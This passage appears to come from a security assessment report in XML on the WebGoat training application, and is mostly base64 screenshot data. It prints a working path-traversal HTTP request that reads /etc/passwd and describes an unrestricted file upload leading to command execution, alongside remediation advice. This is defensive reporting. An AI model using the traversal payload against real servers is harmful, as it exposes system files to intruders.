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</data>\n</screenshot>\n<code>The
+        following HTTP request was used to retrieve the contents of the /etc/passwd
+        file:\nPOST /WebGoat/attack?Screen=306871788&amp;menu=200 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\nCookie:
+        JSESSIONID=7AFA29BB6A5D3E1908F035D1B17BB643\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        59\n\nFile=../../../../../../../../../etc/passwd&amp;SUBMIT=View+File\n\n\nThe
+        response included the contents of the requested file.</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Weaknesses in this category are related to an absent or incorrect protection
+        mechanism that fails to properly validate input that can affect the control
+        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
+        input from untrusted sources before it is used. The untrusted data sources
+        may include HTTP requests, file systems, databases, and any external systems
+        that provide data to the application. In the case of HTTP requests, validate
+        all parts of the request, including headers, form fields, cookies, and URL
+        components that are used to transfer information from the browser to the server
+        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
+        server side. This should be simple to implement in terms of time and difficulty,
+        and will greatly reduce the likelihood of insecure parameter values being
+        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"434\" cwename=\"Unrestricted
+        Upload of File with Dangerous Type\" pcirelated=\"false\" sans=\"864\">\n<description>\n<text
+        text=\"The software allows the attacker to upload or transfer files of dangerous
+        types that can be automatically processed within the product's environment.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Unrestricted Upload of File with Dangerous Type\"
+        count=\"1\" issueid=\"270\" module=\"manual_analysis\" type=\"\" description=\"It
+        was possible to use the image upload functionality to upload arbitrary content
+        to the web server.\" note=\"\" cweid=\"434\" remediationeffort=\"3\" exploitLevel=\"2\"
+        categoryid=\"25\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
+        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"ppp\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\"
+        cvss=\"9\" capecid=\"10\" exploitdifficulty=\"1\" inputvector=\"myfile\">\n<exploit_desc>By
+        sending the HTTP upload request an attacker can provide arbitrary content
+        within the POST body and an arbitrary filename. The attacker can then access
+        the uploaded file with a web-browser causing the uploaded file to be executed.\n</exploit_desc><severity_desc>If
+        an attacker is able to upload arbitrary content to a web accessible directory,
+        the potential exists for them to upload executable content with a first request
+        and then invoke it with a second request. \nIf successful, command execution
+        on the host operating system as the tomcat web server user would be possible.\nStatic
+        content could be uploaded to the server and accessed by anonymous Internet
+        users. This would allow the application to serve as an illicit fileshare.</severity_desc>\n<remediation_desc>The
+        provided filename should not be used in construction of the stored filename
+        without strict data validation occurring. Ideally, the user-provided filename
+        should be ignored and the stored filename constructed entirely from server-side,
+        trusted data. For example, the stored filename can simply be a GUID that is
+        an index to meta-data in the database. </remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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